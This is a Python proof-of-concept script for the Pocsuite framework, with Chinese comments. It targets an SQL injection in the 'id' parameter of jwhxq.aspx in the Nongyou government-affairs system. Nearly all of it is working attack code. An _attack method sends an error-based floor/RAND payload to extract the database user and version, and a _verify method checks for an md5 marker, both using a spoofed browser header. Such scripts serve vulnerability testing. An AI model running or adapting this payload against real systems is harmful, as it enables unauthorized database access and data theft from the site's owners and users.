Farmers-government system jwhxq. aspx parameter id SQL injection vulnerability

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import re

class TestPOC(POCBase):
    vulID = '1'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2015-03-04'
    createDate = '2016-06-03'
    updateDate = '2016-06-03'
    references = ['http://www.seebug.org/vuldb/ssvid-']
    name = '农友政务系统 jwhxq.aspx 参数id SQL注入漏洞'
    appPowerLink = 'http://www.nongyou.com'
    appName = 'Nongyou'
    appVersion = 'N/A'
    vulType = 'SQL注入'
    desc = '''
    农友政务系统在页面jwhxq.aspx对参数id过滤不严格，导致出现SQL注入漏洞，
    远程攻击者可以结合回显报错等手段，执行SQL指令。
    '''
    samples = ['']
    
    def _attack(self):
        #利用漏洞，获取数据库信息
        result = {}
        #利用floor报错方式的payload
        payload=("1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x247e7e7e24,user(),0x2a2a2a"
            ",version(),0x247e7e7e24,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
            " GROUP BY x)a) AND 'YLvB'='YLvB")
        #漏洞页面
        exploit='/jwhxq.aspx?id='
        #构造访问地址
        vulurl=self.url+exploit+payload
        #伪造的HTTP头
        httphead = {
        'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
        'Accept':'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Connection':'keep-alive'
        }
        #提取信息的正则表达式
        pars="\$~~~\$([_a-zA-Z0-9].*)\*\*\*(.*)\$~~~\$"
        #尝试访问
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #检查
        if 'Duplicate entry' in resp.content:
            #尝试提取信息
            match=re.search(pars,resp.content,re.I|re.M)
            if match:
                #记录数据库信息
                result['DatabaseInfo']={}
                #数据库用户名
                result['DatabaseInfo']['Username']=match.group(1)
                #数据库版本
                result['DatabaseInfo']['Version']=match.group(2)
        return self.parse_output(result)

    def _verify(self):
        #利用漏洞计算md5(3.1415)
        result = {}
        #利用floor报错方式的payload
        payload=("1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(md5(3.1415),FLOOR(RAND(0)*2))"
            "x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YLvB'='YLvB")
        #漏洞页面
        exploit='/jwhxq.aspx?id='
        #构造访问地址
        vulurl=self.url+exploit+payload
        #伪造的HTTP头
        httphead = {
        'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
        'Accept':'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Connection':'keep-alive'
        }
        #尝试访问
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #检查特征字符串（md5(3.1415)=63e1f04640e83605c1d177544a5a0488）
        if '63e1f04640e83605c1d177544a5a0488' in resp.content:
            #漏洞验证成功
            result['VerifyInfo']={}
            result['VerifyInfo']['URL'] = self.url+exploit
            result['VerifyInfo']['Payload'] = payload
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)